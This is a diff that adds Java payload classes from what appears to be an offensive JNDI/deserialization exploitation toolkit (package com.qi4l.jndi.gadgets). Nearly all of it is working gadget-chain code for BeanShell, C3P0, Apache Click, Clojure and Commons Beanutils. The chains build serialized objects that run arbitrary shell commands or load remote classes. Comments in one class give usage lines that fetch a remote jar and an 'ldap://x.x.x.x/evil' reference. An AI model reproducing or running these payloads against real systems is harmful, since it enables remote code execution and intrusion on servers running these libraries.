i.eval(payload);
|
||||
XThis xt = new XThis(i.getNameSpace(), i);
|
||||
InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);
|
||||
Comparator<? super Object> comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler);
|
||||
PriorityQueue<Object> priorityQueue = new PriorityQueue(2, comparator);
|
||||
Object[] queue = {Integer.valueOf(1), Integer.valueOf(1)};
|
||||
Reflections.setFieldValue(priorityQueue, "queue", queue);
|
||||
Reflections.setFieldValue(priorityQueue, "size", Integer.valueOf(2));
|
||||
return priorityQueue;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,52 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
|
||||
import bsh.Interpreter;
|
||||
import bsh.NameSpace;
|
||||
import bsh.XThis;
|
||||
import com.qi4l.jndi.gadgets.annotation.Authors;
|
||||
import com.qi4l.jndi.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.jndi.gadgets.utils.Reflections;
|
||||
import com.qi4l.jndi.gadgets.utils.beanshell.BeanShellUtil;
|
||||
|
||||
import java.lang.reflect.*;
|
||||
import java.util.Comparator;
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
/**
|
||||
* Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711)
|
||||
*/
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||
@Dependencies({"org.beanshell:bsh:2.0b1"})
|
||||
@Authors({Authors.KILLER})
|
||||
public class BeanShell2 implements ObjectPayload<PriorityQueue> {
|
||||
|
||||
public PriorityQueue getObject(String command) throws Exception {
|
||||
String payload = BeanShellUtil.makeBeanShellPayload(command);
|
||||
Interpreter i = new Interpreter();
|
||||
|
||||
Method setu = i.getClass().getDeclaredMethod("setu", String.class, Object.class);
|
||||
setu.setAccessible(true);
|
||||
setu.invoke(i, "bsh.cwd", ".");
|
||||
i.eval(payload);
|
||||
|
||||
Class<?> xthis = Class.forName("bsh.XThis");
|
||||
Field handlerField = xthis.getDeclaredField("invocationHandler");
|
||||
handlerField.setAccessible(true);
|
||||
Constructor<?> xthisDeclaredConstructor = xthis.getDeclaredConstructor(NameSpace.class, Interpreter.class);
|
||||
xthisDeclaredConstructor.setAccessible(true);
|
||||
Object xt = xthisDeclaredConstructor.newInstance(i.getNameSpace(), i);
|
||||
handlerField.setAccessible(true);
|
||||
InvocationHandler handler = (InvocationHandler) handlerField.get(xt);
|
||||
|
||||
Comparator<? super Object> comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler);
|
||||
PriorityQueue<Object> queue = new PriorityQueue(2);
|
||||
queue.add("1");
|
||||
queue.add("2");
|
||||
|
||||
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
|
||||
field.setAccessible(true);
|
||||
field.set(queue, comparator);
|
||||
return queue;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,94 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
|
||||
import com.mchange.v2.c3p0.PoolBackedDataSource;
|
||||
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
|
||||
import com.qi4l.jndi.gadgets.annotation.Authors;
|
||||
import com.qi4l.jndi.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.jndi.gadgets.utils.Reflections;
|
||||
|
||||
import javax.naming.NamingException;
|
||||
import javax.naming.Reference;
|
||||
import javax.naming.Referenceable;
|
||||
import javax.sql.ConnectionPoolDataSource;
|
||||
import javax.sql.PooledConnection;
|
||||
import java.io.PrintWriter;
|
||||
import java.sql.SQLException;
|
||||
import java.sql.SQLFeatureNotSupportedException;
|
||||
import java.util.logging.Logger;
|
||||
|
||||
/**
|
||||
* com.sun.jndi.rmi.registry.RegistryContext->lookup
|
||||
* com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject
|
||||
* com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject
|
||||
* <p>
|
||||
* Arguments:
|
||||
* - base_url:classname
|
||||
* <p>
|
||||
* Yields:
|
||||
* - Instantiation of remotely loaded class
|
||||
*
|
||||
* @author mbechler
|
||||
*/
|
||||
|
||||
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11"})
|
||||
@Authors({Authors.MBECHLER})
|
||||
public class C3P0 implements ObjectPayload<Object> {
|
||||
public Object getObject(String command) throws Exception {
|
||||
|
||||
int sep = command.lastIndexOf(':');
|
||||
if (sep < 0) {
|
||||
throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
|
||||
}
|
||||
|
||||
String url = command.substring(0, sep);
|
||||
String className = command.substring(sep + 1);
|
||||
|
||||
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
|
||||
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
|
||||
return b;
|
||||
}
|
||||
|
||||
|
||||
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
|
||||
|
||||
private final String className;
|
||||
|
||||
private final String url;
|
||||
|
||||
public PoolSource(String className, String url) {
|
||||
this.className = className;
|
||||
this.url = url;
|
||||
}
|
||||
|
||||
public Reference getReference() throws NamingException {
|
||||
return new Reference("exploit", this.className, this.url);
|
||||
}
|
||||
|
||||
public PrintWriter getLogWriter() throws SQLException {
|
||||
return null;
|
||||
}
|
||||
|
||||
public void setLogWriter(PrintWriter out) throws SQLException {
|
||||
}
|
||||
|
||||
public int getLoginTimeout() throws SQLException {
|
||||
return 0;
|
||||
}
|
||||
|
||||
public void setLoginTimeout(int seconds) throws SQLException {
|
||||
}
|
||||
|
||||
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
|
||||
return null;
|
||||
}
|
||||
|
||||
public PooledConnection getPooledConnection() throws SQLException {
|
||||
return null;
|
||||
}
|
||||
|
||||
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
|
||||
return null;
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,77 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
|
||||
import com.mchange.v2.c3p0.PoolBackedDataSource;
|
||||
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
|
||||
import com.qi4l.jndi.gadgets.annotation.Authors;
|
||||
import com.qi4l.jndi.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.jndi.gadgets.utils.Reflections;
|
||||
import org.apache.naming.ResourceRef;
|
||||
|
||||
import javax.naming.NamingException;
|
||||
import javax.naming.Reference;
|
||||
import javax.naming.Referenceable;
|
||||
import javax.naming.StringRefAddr;
|
||||
import javax.sql.ConnectionPoolDataSource;
|
||||
import javax.sql.PooledConnection;
|
||||
import java.io.PrintWriter;
|
||||
import java.sql.SQLException;
|
||||
import java.sql.SQLFeatureNotSupportedException;
|
||||
import java.util.logging.Logger;
|
||||
|
||||
/**
|
||||
* C3P02 通过Tomcat 的 getObjectInstance 方法调用 ELProcessor 的 eval 方法实现表达式注入
|
||||
*/
|
||||
|
||||
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11", "org.apache:tomcat:8.5.35"})
|
||||
@Authors({Authors.QI4L})
|
||||
public class C3P02 implements ObjectPayload<Object> {
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
|
||||
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(command));
|
||||
return b;
|
||||
}
|
||||
|
||||
|
||||
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
|
||||
|
||||
private final String cmd;
|
||||
|
||||
public PoolSource(String cmd) {
|
||||
this.cmd = cmd;
|
||||
}
|
||||
|
||||
public Reference getReference() throws NamingException {
|
||||
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
|
||||
ref.add(new StringRefAddr("forceString", "QI4L=eval"));
|
||||
ref.add(new StringRefAddr("QI4L", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','" + cmd + "']).start()\")"));
|
||||
return ref;
|
||||
}
|
||||
|
||||
public PrintWriter getLogWriter() throws SQLException {
|
||||
return null;
|
||||
}
|
||||
|
||||
public void setLogWriter(PrintWriter out) throws SQLException {
|
||||
}
|
||||
|
||||
public int getLoginTimeout() throws SQLException {
|
||||
return 0;
|
||||
}
|
||||
|
||||
public void setLoginTimeout(int seconds) throws SQLException {
|
||||
}
|
||||
|
||||
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
|
||||
return null;
|
||||
}
|
||||
|
||||
public PooledConnection getPooledConnection() throws SQLException {
|
||||
return null;
|
||||
}
|
||||
|
||||
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,79 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
|
||||
import com.mchange.v2.c3p0.PoolBackedDataSource;
|
||||
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
|
||||
import com.qi4l.jndi.gadgets.annotation.Authors;
|
||||
import com.qi4l.jndi.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.jndi.gadgets.utils.Reflections;
|
||||
import org.apache.naming.ResourceRef;
|
||||
|
||||
import javax.naming.NamingException;
|
||||
import javax.naming.Reference;
|
||||
import javax.naming.Referenceable;
|
||||
import javax.naming.StringRefAddr;
|
||||
import javax.sql.ConnectionPoolDataSource;
|
||||
import javax.sql.PooledConnection;
|
||||
import java.io.PrintWriter;
|
||||
import java.sql.SQLException;
|
||||
import java.sql.SQLFeatureNotSupportedException;
|
||||
import java.util.logging.Logger;
|
||||
|
||||
/**
|
||||
* 同 C3P0 2 只不过使用了 Groovy
|
||||
*/
|
||||
|
||||
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11", "org.apache:tomcat:8.5.35", "org.codehaus.groovy:groovy:2.3.9"})
|
||||
@Authors({Authors.QI4L})
|
||||
public class C3P03 implements ObjectPayload<Object> {
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
|
||||
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
|
||||
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(command));
|
||||
return b;
|
||||
}
|
||||
|
||||
|
||||
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
|
||||
|
||||
private final String cmd;
|
||||
|
||||
public PoolSource(String cmd) {
|
||||
this.cmd = cmd;
|
||||
}
|
||||
|
||||
public Reference getReference() throws NamingException {
|
||||
ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
|
||||
ref.add(new StringRefAddr("forceString", "QI4L=evaluate"));
|
||||
ref.add(new StringRefAddr("QI4L", "'" + cmd + "'.execute()"));
|
||||
return ref;
|
||||
}
|
||||
|
||||
public PrintWriter getLogWriter() throws SQLException {
|
||||
return null;
|
||||
}
|
||||
|
||||
public void setLogWriter(PrintWriter out) throws SQLException {
|
||||
}
|
||||
|
||||
public int getLoginTimeout() throws SQLException {
|
||||
return 0;
|
||||
}
|
||||
|
||||
public void setLoginTimeout(int seconds) throws SQLException {
|
||||
}
|
||||
|
||||
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
|
||||
return null;
|
||||
}
|
||||
|
||||
public PooledConnection getPooledConnection() throws SQLException {
|
||||
return null;
|
||||
}
|
||||
|
||||
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,157 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
|
||||
import com.mchange.v2.c3p0.PoolBackedDataSource;
|
||||
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
|
||||
import com.qi4l.jndi.gadgets.annotation.Authors;
|
||||
import com.qi4l.jndi.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.jndi.gadgets.utils.HexUtils;
|
||||
import com.qi4l.jndi.gadgets.utils.Reflections;
|
||||
import com.qi4l.jndi.gadgets.utils.SnakeYamlUtils;
|
||||
import org.apache.naming.ResourceRef;
|
||||
|
||||
import javax.naming.NamingException;
|
||||
import javax.naming.Reference;
|
||||
import javax.naming.Referenceable;
|
||||
import javax.naming.StringRefAddr;
|
||||
import javax.sql.ConnectionPoolDataSource;
|
||||
import javax.sql.PooledConnection;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintWriter;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
import java.sql.SQLException;
|
||||
import java.sql.SQLFeatureNotSupportedException;
|
||||
import java.util.logging.Logger;
|
||||
|
||||
/**
|
||||
* 同上 只不过使用了 snakeyaml
|
||||
* 加了一些常见的 Gadget,有点套娃的感觉了
|
||||
* <p>
|
||||
* 用法:
|
||||
* 远程加载 Jar 包
|
||||
* C3P04 'remoteJar-http://1.1.1.1.com/1.jar'
|
||||
* <p>
|
||||
* 向服务器写入 Jar 包并加载(不出网)
|
||||
* C3P04 'writeJar-/tmp/evil.jar:./yaml.jar'
|
||||
* C3P04 'localJar-./yaml.jar'
|
||||
* <p>
|
||||
* C3P0 二次反序列化
|
||||
* C3P04 'c3p0Double-/usr/CC6.ser'
|
||||
* <p>
|
||||
* C3P0 JNDI 以及 JdbcRowSetImpl JNDI
|
||||
* C3P04 'c3p0Jndi-ldap://x.x.x.x/evil'
|
||||
* C3P04 'jndi-ldap://x.x.x.x/evil'
|
||||
*/
|
||||
|
||||
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11", "org.apache:tomcat:8.5.35", "org.yaml:snakeyaml:1.30"})
|
||||
@Authors({Authors.QI4L})
|
||||
public class C3P04 implements ObjectPayload<Object> {
|
||||
public Object getObject(String command) throws Exception {
|
||||
|
||||
int sep = command.lastIndexOf('-');
|
||||
if (sep < 0) {
|
||||
throw new IllegalArgumentException("Command format is: <type>:<cmd>");
|
||||
}
|
||||
|
||||
String[] parts = command.split("-");
|
||||
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
|
||||
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(parts[0], parts[1]));
|
||||
return b;
|
||||
}
|
||||
|
||||
|
||||
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
|
||||
|
||||
private final String cmd;
|
||||
|
||||
private final String type;
|
||||
|
||||
public PoolSource(String type, String cmd) {
|
||||
this.type = type;
|
||||
this.cmd = cmd;
|
||||
}
|
||||
|
||||
public Reference getReference() throws NamingException {
|
||||
|
||||
String yaml = "";
|
||||
|
||||
switch (type) {
|
||||
case "remoteJar":
|
||||
yaml = "!!javax.script.ScriptEngineManager [\n" +
|
||||
" !!java.net.URLClassLoader [[\n" +
|
||||
" !!java.net.URL [\"" + cmd + "\"]\n" +
|
||||
" ]]\n" +
|
||||
"]";
|
||||
break;
|
||||
case "localJar":
|
||||
yaml = "!!javax.script.ScriptEngineManager [\n" +
|
||||
" !!java.net.URLClassLoader [[\n" +
|
||||
" !!java.net.URL [\"file://" + cmd + "\"]\n" +
|
||||
" ]]\n" +
|
||||
"]";
|
||||
break;
|
||||
case "writeJar":
|
||||
String[] parts = cmd.split(":");
|
||||
try {
|
||||
yaml = SnakeYamlUtils.createPoC(parts[0], parts[1]);
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
break;
|
||||
case "c3p0Double":
|
||||
try {
|
||||
byte[] data = HexUtils.toByteArray(Files.newInputStream(Paths.get(cmd)));
|
||||
String hexString = HexUtils.bytesToHexString(data, data.length);
|
||||
yaml = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" +
|
||||
"userOverridesAsString: HexAsciiSerializedMap:" + hexString + ";";
|
||||
} catch (IOException e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
break;
|
||||
case "c3p0Jndi":
|
||||
yaml = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource\n" +
|
||||
"jndiName: " + cmd + "\n" +
|
||||
"loginTimeout: 0";
|
||||
break;
|
||||
case "jndi":
|
||||
yaml = "!!com.sun.rowset.JdbcRowSetImpl\n" +
|
||||
"dataSourceName: " + cmd + "\n" +
|
||||
"autoCommit: true";
|
||||
break;
|
||||
|
||||
}
|
||||
|
||||
ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "",
|
||||
true, "org.apache.naming.factory.BeanFactory", null);
|
||||
ref.add(new StringRefAddr("forceString", "QI4L=load"));
|
||||
ref.add(new StringRefAddr("QI4L", yaml));
|
||||
return ref;
|
||||
}
|
||||
|
||||
public PrintWriter getLogWriter() throws SQLException {
|
||||
return null;
|
||||
}
|
||||
|
||||
public void setLogWriter(PrintWriter out) throws SQLException {
|
||||
}
|
||||
|
||||
public int getLoginTimeout() throws SQLException {
|
||||
return 0;
|
||||
}
|
||||
|
||||
public void setLoginTimeout(int seconds) throws SQLException {
|
||||
}
|
||||
|
||||
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
|
||||
return null;
|
||||
}
|
||||
|
||||
public PooledConnection getPooledConnection() throws SQLException {
|
||||
return null;
|
||||
}
|
||||
|
||||
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,99 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
|
||||
import com.qi4l.jndi.gadgets.annotation.Authors;
|
||||
import com.qi4l.jndi.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.jndi.gadgets.utils.Reflections;
|
||||
import com.qi4l.jndi.gadgets.utils.SuClassLoader;
|
||||
import com.qi4l.jndi.gadgets.utils.handle.ClassFieldHandler;
|
||||
import javassist.ClassClassPath;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
|
||||
import javax.naming.NamingException;
|
||||
import javax.naming.Reference;
|
||||
import javax.naming.Referenceable;
|
||||
import javax.sql.ConnectionPoolDataSource;
|
||||
import javax.sql.PooledConnection;
|
||||
import java.io.PrintWriter;
|
||||
import java.sql.SQLException;
|
||||
import java.sql.SQLFeatureNotSupportedException;
|
||||
import java.util.logging.Logger;
|
||||
|
||||
|
||||
/**
|
||||
* C3P0 通过Tomcat 的 getObjectInstance 方法调用 ELProcessor 的 eval 方法实现表达式注入
|
||||
*/
|
||||
|
||||
@Dependencies({"com.mchange:c3p0:0.9.2-pre2-RELEASE ~ 0.9.5-pre8", "com.mchange:mchange-commons-java:0.2.11"})
|
||||
@Authors({Authors.MBECHLER})
|
||||
public class C3P092 implements ObjectPayload<Object> {
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
int sep = command.lastIndexOf(':');
|
||||
if (sep < 0) {
|
||||
throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
|
||||
}
|
||||
|
||||
String url = command.substring(0, sep);
|
||||
String className = command.substring(sep + 1);
|
||||
|
||||
// 修改com.mchange.v2.c3p0.PoolBackedDataSource serialVerisonUID
|
||||
|
||||
ClassPool pool = new ClassPool();
|
||||
pool.insertClassPath(new ClassClassPath(Class.forName("com.mchange.v2.c3p0.PoolBackedDataSource")));
|
||||
final CtClass ctPoolBackedDataSource = pool.get("com.mchange.v2.c3p0.PoolBackedDataSource");
|
||||
|
||||
ClassFieldHandler.insertField(ctPoolBackedDataSource, "serialVersionUID", "private static final long serialVersionUID = 7387108436934414104L;");
|
||||
|
||||
// mock method name until armed
|
||||
final Class clsPoolBackedDataSource = ctPoolBackedDataSource.toClass(new SuClassLoader());
|
||||
|
||||
Object b = Reflections.createWithoutConstructor(clsPoolBackedDataSource);
|
||||
Reflections.getField(clsPoolBackedDataSource, "connectionPoolDataSource").set(b, new PoolSource(className, url));
|
||||
return b;
|
||||
}
|
||||
|
||||
|
||||
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
|
||||
|
||||
private String className;
|
||||
|
||||
private String url;
|
||||
|
||||
public PoolSource(String className, String url) {
|
||||
this.className = className;
|
||||
this.url = url;
|
||||
}
|
||||
|
||||
public Reference getReference() throws NamingException {
|
||||
return new Reference("exploit", this.className, this.url);
|
||||
}
|
||||
|
||||
public PrintWriter getLogWriter() throws SQLException {
|
||||
return null;
|
||||
}
|
||||
|
||||
public void setLogWriter(PrintWriter out) throws SQLException {
|
||||
}
|
||||
|
||||
public int getLoginTimeout() throws SQLException {
|
||||
return 0;
|
||||
}
|
||||
|
||||
public void setLoginTimeout(int seconds) throws SQLException {
|
||||
}
|
||||
|
||||
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
|
||||
return null;
|
||||
}
|
||||
|
||||
public PooledConnection getPooledConnection() throws SQLException {
|
||||
return null;
|
||||
}
|
||||
|
||||
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,78 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
|
||||
import com.qi4l.jndi.gadgets.annotation.Authors;
|
||||
import com.qi4l.jndi.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.jndi.gadgets.utils.Gadgets;
|
||||
import com.qi4l.jndi.gadgets.utils.Reflections;
|
||||
import org.apache.click.control.Column;
|
||||
import org.apache.click.control.Table;
|
||||
|
||||
import java.math.BigInteger;
|
||||
import java.util.Comparator;
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
|
||||
/**
|
||||
* Apache Click chain based on arbitrary getter calls in PropertyUtils.getObjectPropertyValue().
|
||||
* We use java.util.PriorityQueue to trigger ColumnComparator.compare().
|
||||
* After that, ColumnComparator.compare() leads to TemplatesImpl.getOutputProperties() via unsafe reflection.
|
||||
* <p>
|
||||
* Chain:
|
||||
* <p>
|
||||
* java.util.PriorityQueue.readObject()
|
||||
* java.util.PriorityQueue.heapify()
|
||||
* java.util.PriorityQueue.siftDown()
|
||||
* java.util.PriorityQueue.siftDownUsingComparator()
|
||||
* org.apache.click.control.Column$ColumnComparator.compare()
|
||||
* org.apache.click.control.Column.getProperty()
|
||||
* org.apache.click.control.Column.getProperty()
|
||||
* org.apache.click.util.PropertyUtils.getValue()
|
||||
* org.apache.click.util.PropertyUtils.getObjectPropertyValue()
|
||||
* java.lang.reflect.Method.invoke()
|
||||
* com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
|
||||
* ...
|
||||
* <p>
|
||||
* Arguments:
|
||||
* - command to execute
|
||||
* <p>
|
||||
* Yields:
|
||||
* - RCE via TemplatesImpl.getOutputProperties()
|
||||
* <p>
|
||||
* Requires:
|
||||
* - Apache Click
|
||||
* - servlet-api of any version
|
||||
* <p>
|
||||
* by @artsploit
|
||||
*/
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||
@Dependencies({"org.apache.click:click-nodeps:2.3.0", "javax.servlet:javax.servlet-api:3.1.0"})
|
||||
@Authors({Authors.ARTSPLOIT})
|
||||
public class Click1 implements ObjectPayload<Object> {
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
// prepare a Column.comparator with mock values
|
||||
final Column column = new Column("lowestSetBit");
|
||||
column.setTable(new Table());
|
||||
Comparator comparator = (Comparator) Reflections.newInstance("org.apache.click.control.Column$ColumnComparator", column);
|
||||
|
||||
// create queue with numbers and our comparator
|
||||
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
|
||||
// stub data for replacement later
|
||||
queue.add(new BigInteger("1"));
|
||||
queue.add(new BigInteger("1"));
|
||||
|
||||
// switch method called by the comparator,
|
||||
// so it will trigger getOutputProperties() when objects in the queue are compared
|
||||
column.setName("outputProperties");
|
||||
|
||||
// finally, we inject and new TemplatesImpl object into the queue,
|
||||
// so its getOutputProperties() method will be called
|
||||
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
|
||||
final Object template;
|
||||
template = Gadgets.createTemplatesImpl(command);
|
||||
queueArray[0] = template;
|
||||
return queue;
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,50 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
|
||||
import clojure.core$comp;
|
||||
import clojure.core$constantly;
|
||||
import clojure.inspector.proxy$javax.swing.table.AbstractTableModel$ff19274a;
|
||||
import clojure.lang.PersistentArrayMap;
|
||||
import clojure.main$eval_opt;
|
||||
import com.qi4l.jndi.gadgets.annotation.Authors;
|
||||
import com.qi4l.jndi.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.jndi.gadgets.utils.clojure.ClojureUtil;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
import static com.qi4l.jndi.gadgets.annotation.Authors.JACKOFMOSTTRADES;
|
||||
|
||||
/**
|
||||
* Gadget chain:
|
||||
* ObjectInputStream.readObject()
|
||||
* HashMap.readObject()
|
||||
* AbstractTableModel$ff19274a.hashCode()
|
||||
* clojure.core$comp$fn__4727.invoke()
|
||||
* clojure.core$constantly$fn__4614.invoke()
|
||||
* clojure.main$eval_opt.invoke()
|
||||
* <p>
|
||||
* Requires:
|
||||
* org.clojure:clojure
|
||||
* Versions since 1.2.0 are vulnerable, although some class names may need to be changed for other versions
|
||||
*/
|
||||
|
||||
@Dependencies({"org.clojure:clojure:1.8.0"})
|
||||
@Authors({JACKOFMOSTTRADES})
|
||||
public class Clojure implements ObjectPayload<Map<?, ?>> {
|
||||
|
||||
public Map<?, ?> getObject(String command) throws Exception {
|
||||
String clojurePayload = ClojureUtil.makeClojurePayload(command);
|
||||
Map<String, Object> fnMap = new HashMap<>();
|
||||
fnMap.put("hashCode", (new core$constantly()).invoke(0));
|
||||
AbstractTableModel$ff19274a model = new AbstractTableModel$ff19274a();
|
||||
model.__initClojureFnMappings(PersistentArrayMap.create(fnMap));
|
||||
HashMap<Object, Object> targetMap = new HashMap<>();
|
||||
targetMap.put(model, null);
|
||||
fnMap.put("hashCode", (new core$comp())
|
||||
.invoke(new main$eval_opt(), (new core$constantly())
|
||||
.invoke(clojurePayload)));
|
||||
model.__initClojureFnMappings(PersistentArrayMap.create(fnMap));
|
||||
return targetMap;
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,29 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
|
||||
import com.qi4l.jndi.gadgets.annotation.Authors;
|
||||
import com.qi4l.jndi.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.jndi.gadgets.utils.Gadgets;
|
||||
import com.qi4l.jndi.gadgets.utils.Reflections;
|
||||
import org.apache.commons.beanutils.BeanComparator;
|
||||
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"})
|
||||
@Authors({Authors.FROHOFF})
|
||||
public class CommonsBeanutils1 implements ObjectPayload<Object> {
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object template;
|
||||
template = Gadgets.createTemplatesImpl(command);
|
||||
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
|
||||
|
||||
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
|
||||
queue.add("1");
|
||||
queue.add("1");
|
||||
|
||||
Reflections.setFieldValue(comparator, "property", "outputProperties");
|
||||
Reflections.setFieldValue(queue, "queue", new Object[]{template, template});
|
||||
|
||||
return queue;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
|
||||
import com.qi4l.jndi.enumtypes.PayloadType;
|
||||
import com.qi4l.jndi.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.jndi.gadgets.utils.Gadgets;
|
||||
import com.qi4l.jndi.gadgets.utils.Reflections;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import org.apache.commons.beanutils.BeanComparator;
|
||||
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
|
||||
import static com.qi4l.jndi.gadgets.utils.InjShell.insertField;
|
||||
|
||||
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3"})
|
||||
public class CommonsBeanutils1183NOCC implements ObjectPayload<Object> {
|
||||
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object template;
|
||||
template = Gadgets.createTemplatesImpl(command);
|
||||
ClassPool pool = ClassPool.getDefault();
|
||||
CtClass ctClass = pool.get("org.apache.commons.beanutils.BeanComparator");
|
||||
|
||||
insertField(ctClass, "serialVersionUID", "private static final long serialVersionUID = -3490850999041592962L;");
|
||||
|
||||
Class beanCompareClazz = ctClass.toClass();
|
||||
BeanComparator comparator = (BeanComparator) beanCompareClazz.newInstance();
|
||||
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
|
||||
queue.add("1");
|
||||
queue.add("1");
|
||||
|
||||
// switch method called by comparator
|
||||
Reflections.setFieldValue(comparator, "property", "outputProperties");
|
||||
Reflections.setFieldValue(comparator, "comparator", String.CASE_INSENSITIVE_ORDER);
|
||||
Reflections.setFieldValue(queue, "queue", new Object[]{template, template});
|
||||
|
||||
return queue;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,44 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
